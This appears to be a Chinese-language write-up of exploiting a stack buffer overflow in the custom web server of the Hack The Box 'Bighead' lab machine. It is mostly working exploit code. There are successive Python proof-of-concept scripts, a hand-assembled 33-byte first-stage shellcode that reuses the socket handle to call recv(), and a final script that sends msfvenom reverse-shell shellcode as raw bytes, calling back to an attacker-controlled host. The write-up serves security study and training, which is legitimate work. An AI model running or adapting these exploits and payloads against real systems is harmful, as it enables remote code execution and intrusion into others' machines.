TL;DR

Reuse the file handler to get the second-stage shellcode.

下面开始正文

在二进制漏洞挖掘中,无法避免的一件事情就是shellcode编写,msfpayload(msfvenom的前身)把这个事情工具化,但是还是有些时候是需要自己对shellcode进行微调的,这时候就考验一个人的汇编功力了。而本人自然是不懂汇编的(暂时,可能以后就学了),但是简单的还是看得懂一些,下面就针对hackthebox的一个靶机Bighead的一个自写的webserver来进行exploitation。

网络上已经有很多关于这个靶机的writeup了,常规手法就是:调用多线程(五到十个)去向webserver发送shellcode,再调用一个线程去向webserver发送egghunter的payload,然后egghunter会去自动找寻内存中含有关键字符的shellcode,并且执行。

还有一个比较优美的手法:调用LoadLibrary去包含远程的dll(类似于\\192.168.7.7\x\a.dll),需要在本机上开启无认证的smb服务,同时目标机器可以访问本机的445端口。然而并不是所有情况下对445端口的访问都是允许的(懂的人这时候就在会心一笑),可能对远程机器的445端口的流量出不去,也可能访问本地445端口的流量进不来,总之就是两个字,蛋疼。

时间不允许我继续扯淡了,关于使用LoadLibrary去包含远程的dll的内容,你可以在这里查看:http://mislusnys.github.io/post/htb-bighead/

我要说的是另外一个技术:重用文件句柄使用revc()来接受第二段shellcode,灵感来自于这里:https://connormcgarr.github.io/WS32_recv()-Reuse/

文件在这里可以下载,下面进入正题。

首先还是正常的,先搞出一个可以把服务搞崩的poc出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python
import socket
import binascii
import time

host = "192.168.23.152"
port = 8008

buf = "A"*100
head = "HEAD /" + buf + " HTTP/1.1\r\n"
head += "Host: dev.bighead.htb\r\n"
head += "Connection: close\r\n"
head += "\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(head)
s.close()

因为程序是一个http server,所以构造的数据包也要符合http协议。

image-20200508040151429

这里有个很有趣的现象,注意到eip被覆写成了AAAAAAAA 而不是常规的41414141,所以猜想程序是会将payload每两个字符分割开,然后在前面加上0x,作为16进制数填充到内存里,所以AAAAAAAA变成了0xAA0xAA0xAA0xAA(不要问我ZZZZZZZZ怎么办,我没试过,这也不是重点)

所以在寻找eip的offset的时候要额外注意,常规手法使用msf-pattern_create生成一段不重复的字符串,eip被覆写成了ACC54AAC,由于小端的原因,实际上被写入的字符串是Ac4aC5Ac,使用msf-pattern_offset查找前四个字符,得知偏移量是72。

image-20200508130301250

下面修改poc,确认一下offset以及栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python
import socket
import binascii
import time

host = "192.168.23.152"
port = 8008

buf = "A"*72+"AABBCCDD"+"B"*78
head = "HEAD /" + buf + " HTTP/1.1\r\n"
head += "Host: dev.bighead.htb\r\n"
head += "Connection: close\r\n"
head += "\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(head)
s.close()

可以看见eax指向我们的payload的开头,esp指向eip之后的字符串,以空字符结束,其中eip之前有72/2=36个字节空间作为shellcode,eip之后有78/2=39个字节空间作为shellcode。(这个78是我试出来的,如果改成大于78之后,程序就不会出错了,估计是做了额外的检查,将整个payload限制在158个字符)。

image-20200508132056125

那么一个方案是将eip覆写成一个有jmp esp的地址,这样我就有39个字节的shellcode空间了;挑战自己的话,就把eip覆写成一个有jmp eax的地址,将shellcode压缩在36个字节,从而不会覆写到eip的地址。更复杂的方案就是将eip覆写成一个有jmp eax的地址,然后非常小心的对栈操作,这样在执行到eip的地址的时候,执行的是无害的指令,这样可以成功过渡到后面39个字节的shellcode。

既然文章标题叫The art of short shellcode,那么就用方案2,36个字节shellcode。

先找到含有jmp eax的地址,使用mona插件:

image-20200508141530393

很幸运,有一个,在0x625012f2

来试一下,修改poc,注意小端填充

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python
import socket
import binascii
import time

host = "192.168.23.152"
port = 8008

jmp_eax = "f2125062"

buf = "A"*72+jmp_eax+"B"*78
head = "HEAD /" + buf + " HTTP/1.1\r\n"
head += "Host: dev.bighead.htb\r\n"
head += "Connection: close\r\n"
head += "\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(head)
s.close()

在这个地址处下断点,

image-20200508142417138

执行poc,不出意外的在断点处被截下来了。

image-20200508142508911

下面试下弹个窗吧,用这里找到的23个字节的shellcode:http://shell-storm.org/shellcode/files/shellcode-526.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python
import socket
import binascii
import time

host = "192.168.23.152"
port = 8008

jmp_eax = "f2125062"

shellcode = "B938DD827C33C0BBD80A867C5150FFd3"

buf = shellcode + "90"*(72-len(shellcode))+jmp_eax+"B"*78
head = "HEAD /" + buf + " HTTP/1.1\r\n"
head += "Host: dev.bighead.htb\r\n"
head += "Connection: close\r\n"
head += "\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(head)
s.close()

还行

image-20200508142847495

下面就是思考怎么用36个字节来实现反弹shell的shellcode了,答案就是:

不可能

怎么,不信?来,键盘给你,你来写。

36个字节最多弹一个写字板出来,还想着去调用网络通信去反弹shell,你咋不上天呢。

但是能不能用36字节去获取第二步的shellcode呢?我们知道windows下面的socket编程,是使用recv()函数来接受客户端发送的数据,recv的具体参数可以在这里查看:https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-recv

1
2
3
4
5
6
int recv(
SOCKET s,
char *buf,
int len,
int flags
);

其中s是文件句柄,类似于linux下面的文件描述符的概念,由accept()函数返回,*buf是读取的数据存放的内存地址,len是指定读取数据的长度,flags是指定recv()函数行为的相关参数,这里不赘述,设成0就可以了。

我们知道stack传参的顺序是第一个参数是放在栈顶,那么我们就要文件句柄放在栈顶,然后下面依次是buf地址,len,flags。下面开始逐个解决:

先来flags,直接push 0是不行的,因为会有空字符的存在,可以考虑将一个寄存器做xor操作,将其归零,然后push

1
2
3
4
nasm > xor ebx,ebx
00000000 31DB xor ebx,ebx
nasm > push ebx
00000000 53 push ebx

然后是len,假如shellcode长度是512个字符,直接push 0x200也不行,还是空字符的原因,那么继续操作寄存器,将前面设置为0的ebx的第三和第四位设置成0x02 ,这样ebx的值就是0x200了,再push到栈上

1
2
3
4
nasm > xor bh, 0x02
00000000 80F702 xor bh,0x2
nasm > push ebx
00000000 53 push ebx

然后是buf地址,这里可以使用栈上的地址,esp指向栈顶,我们将数据存放在距离栈顶下面一定字节即可,这个定位比较有趣,这里不做赘述,有兴趣的同学可以自己多试几次。

1
2
3
4
5
6
nasm > mov ebx, esp
00000000 89E3 mov ebx,esp
nasm > add ebx, 0x50
00000000 83C350 add ebx,byte +0x50
nasm > push ebx
00000000 53 push ebx

最麻烦的是文件句柄,前面说到我们是需要重用文件句柄,因为我们文件句柄是由accept()函数返回的,在close之前一直有效,所以我们需要找到当前会话使用的文件句柄。

先在recv()被call的地方下个断点

image-20200508150447804

再去访问这个http服务器:

image-20200508150614774

不出意外的被截下来。

重点是看栈上的内容,我放大点看

image-20200508150715459

Socket = 88,这就是我们要找的文件句柄了。

现在考虑怎么把这个值放到栈上。直接push 0x88还是不行,原因如上,还是得通过寄存器来中转

1
2
3
4
5
6
nasm > xor ebx, ebx
00000000 31DB xor ebx,ebx
nasm > add bl, 0x88
00000000 80C388 add bl,0x88
nasm > push ebx
00000000 53 push ebx

下面就是将他们合在一起了,注意到我们要push四个值到栈上,会将我们本身的shellcode给覆写掉,所以为了避免这种事情发生,我们可以一开始先执行sub esp, 0x50 来抬高栈顶

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python
import socket
import binascii
import time

host = "192.168.23.152"
port = 8008

jmp_eax = "f2125062"

shellcode = ""

# lift up stack
shellcode += "83ec50" # sub esp, 0x50

# push flags
shellcode += "31DB" # xor ebx,ebx
shellcode += "53" # push ebx

# push bufsize
shellcode += "80F702" # xor bh, 0x2
shellcode += "53" # push ebx

# push buf
shellcode += "89E3" # mov ebx, esp
shellcode += "83C350" # add ebx, 0x50"
shellcode += "53" # push ebx

# push file handler
shellcode += "31db" # xor ebx, ebx
shellcode += "80c388" # add bl, 0x88
shellcode += "53" # push ebx

# call WS_32.recv()
shellcode += "b811781d40" # mov eax, 0x401d7811
shellcode += "c1e808" # shr eax, 0x08
shellcode += "cc" # break point
shellcode += "ffd0" # call eax


buf = shellcode + "90"*(72-len(shellcode))+jmp_eax+"B"*78
head = "HEAD /" + buf + " HTTP/1.1\r\n"
head += "Host: dev.bighead.htb\r\n"
head += "Connection: close\r\n"
head += "\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(head)
s.close()

可以看到我们的shellcode实际上是33个字符,比36个字符少,稳了。

注意看其中我加了一行shellcode += "cc",这是为了在执行call eax 之前中断程序,观察栈顶的参数情况。

image-20200508163457577

可以看到我们已经把参数在栈上布局好了,下面就是发送第二段shellcode的poc了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python
import socket
import binascii
import time

host = "192.168.23.152"
port = 8008

jmp_eax = "f2125062"

shellcode = ""

# lift up stack
shellcode += "83ec50" # sub esp, 0x50

# push flags
shellcode += "31DB" # xor ebx,ebx
shellcode += "53" # push ebx

# push bufsize
shellcode += "80F702" # xor bh, 0x2
shellcode += "53" # push ebx

# push buf
shellcode += "89E3" # mov ebx, esp
shellcode += "83C350" # add ebx, 0x50"
shellcode += "53" # push ebx

# push file handler
shellcode += "31db" # xor ebx, ebx
shellcode += "80c388" # add bl, 0x88
shellcode += "53" # push ebx

# call WS_32.recv()
shellcode += "b811781d40" # mov eax, 0x401d7811
shellcode += "c1e808" # shr eax, 0x08
#shellcode += "cc" # break point
shellcode += "ffd0" # call eax


buf = shellcode + "90"*(72-len(shellcode))+jmp_eax+"B"*78
head = "HEAD /" + buf + " HTTP/1.1\r\n"
head += "Host: dev.bighead.htb\r\n"
head += "Connection: close\r\n"
head += "\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(head)
time.sleep(5)
s.send("\xcc"*512)
s.close()

使用time.sleep(5) 确保第一段的shellcode和第二段的shellcode不会因为粘包问题(这其实并不是个问题,毕竟tcp是一个流传输协议,叫都叫SOCK_STREAM 了,但是在这个情况下是一个问题,如果两段shellcode被一次接受了,大概率第二段shellcode被作为http协议的多余数据丢弃了)被一次性接收完。s.send("\xcc"*512) 同样的道理,用来观察程序执行情况。

执行poc,不出意外的程序中断在了我们发送的int3 指令上

image-20200508164343318

下面就是把第二段shellcode替换成可用的shellcode了,直接用msfvenom生成即可。

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=192.168.23.133 LPORT=12321 EXITFUNC=thread -f python -v shellcode -b "\x00"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/python
import socket
import binascii
import time

host = "192.168.23.152"
port = 8008

jmp_eax = "f2125062"

shellcode = ""

# lift up stack
shellcode += "83ec50" # sub esp, 0x50

# push flags
shellcode += "31DB" # xor ebx,ebx
shellcode += "53" # push ebx

# push bufsize
shellcode += "80F702" # xor bh, 0x2
shellcode += "53" # push ebx

# push buf
shellcode += "89E3" # mov ebx, esp
shellcode += "83C350" # add ebx, 0x50"
shellcode += "53" # push ebx

# push file handler
shellcode += "31db" # xor ebx, ebx
shellcode += "80c388" # add bl, 0x88
shellcode += "53" # push ebx

# call WS_32.recv()
shellcode += "b811781d40" # mov eax, 0x401d7811
shellcode += "c1e808" # shr eax, 0x08
#shellcode += "cc" # break point
shellcode += "ffd0" # call eax


buf = shellcode + "A"*(72-len(shellcode))+jmp_eax+"B"*78
head = "HEAD /" + buf + " HTTP/1.1\r\n"
head += "Host: dev.bighead.htb\r\n"
head += "Connection: close\r\n"
head += "\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print "sending first stage shellcode, please wait"
s.send(head)

time.sleep(5)

# msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=192.168.23.133 LPORT=12321 EXITFUNC=thread -f python -v shellcode -b "\x00"
shellcode = b""
shellcode += b"\xb8\xf3\x27\x15\xe7\xdb\xca\xd9\x74\x24\xf4"
shellcode += b"\x5b\x33\xc9\xb1\x52\x31\x43\x12\x83\xeb\xfc"
shellcode += b"\x03\xb0\x29\xf7\x12\xca\xde\x75\xdc\x32\x1f"
shellcode += b"\x1a\x54\xd7\x2e\x1a\x02\x9c\x01\xaa\x40\xf0"
shellcode += b"\xad\x41\x04\xe0\x26\x27\x81\x07\x8e\x82\xf7"
shellcode += b"\x26\x0f\xbe\xc4\x29\x93\xbd\x18\x89\xaa\x0d"
shellcode += b"\x6d\xc8\xeb\x70\x9c\x98\xa4\xff\x33\x0c\xc0"
shellcode += b"\x4a\x88\xa7\x9a\x5b\x88\x54\x6a\x5d\xb9\xcb"
shellcode += b"\xe0\x04\x19\xea\x25\x3d\x10\xf4\x2a\x78\xea"
shellcode += b"\x8f\x99\xf6\xed\x59\xd0\xf7\x42\xa4\xdc\x05"
shellcode += b"\x9a\xe1\xdb\xf5\xe9\x1b\x18\x8b\xe9\xd8\x62"
shellcode += b"\x57\x7f\xfa\xc5\x1c\x27\x26\xf7\xf1\xbe\xad"
shellcode += b"\xfb\xbe\xb5\xe9\x1f\x40\x19\x82\x24\xc9\x9c"
shellcode += b"\x44\xad\x89\xba\x40\xf5\x4a\xa2\xd1\x53\x3c"
shellcode += b"\xdb\x01\x3c\xe1\x79\x4a\xd1\xf6\xf3\x11\xbe"
shellcode += b"\x3b\x3e\xa9\x3e\x54\x49\xda\x0c\xfb\xe1\x74"
shellcode += b"\x3d\x74\x2c\x83\x42\xaf\x88\x1b\xbd\x50\xe9"
shellcode += b"\x32\x7a\x04\xb9\x2c\xab\x25\x52\xac\x54\xf0"
shellcode += b"\xf5\xfc\xfa\xab\xb5\xac\xba\x1b\x5e\xa6\x34"
shellcode += b"\x43\x7e\xc9\x9e\xec\x15\x30\x49\xd3\x42\x2d"
shellcode += b"\x0c\xbb\x90\x51\x3e\x1d\x1c\xb7\x54\x4d\x48"
shellcode += b"\x60\xc1\xf4\xd1\xfa\x70\xf8\xcf\x87\xb3\x72"
shellcode += b"\xfc\x78\x7d\x73\x89\x6a\xea\x73\xc4\xd0\xbd"
shellcode += b"\x8c\xf2\x7c\x21\x1e\x99\x7c\x2c\x03\x36\x2b"
shellcode += b"\x79\xf5\x4f\xb9\x97\xac\xf9\xdf\x65\x28\xc1"
shellcode += b"\x5b\xb2\x89\xcc\x62\x37\xb5\xea\x74\x81\x36"
shellcode += b"\xb7\x20\x5d\x61\x61\x9e\x1b\xdb\xc3\x48\xf2"
shellcode += b"\xb0\x8d\x1c\x83\xfa\x0d\x5a\x8c\xd6\xfb\x82"
shellcode += b"\x3d\x8f\xbd\xbd\xf2\x47\x4a\xc6\xee\xf7\xb5"
shellcode += b"\x1d\xab\x18\x54\xb7\xc6\xb0\xc1\x52\x6b\xdd"
shellcode += b"\xf1\x89\xa8\xd8\x71\x3b\x51\x1f\x69\x4e\x54"
shellcode += b"\x5b\x2d\xa3\x24\xf4\xd8\xc3\x9b\xf5\xc8"

print "sending second stage shellcode, enjoy!"
s.send("\x90"*(512-len(shellcode))+shellcode)
s.close()

image-20200508165453336

perfect

思考题:

上面的exploitation有啥局限性?

还能再短点吗?

留了个坑,我是怎么call recv() 的?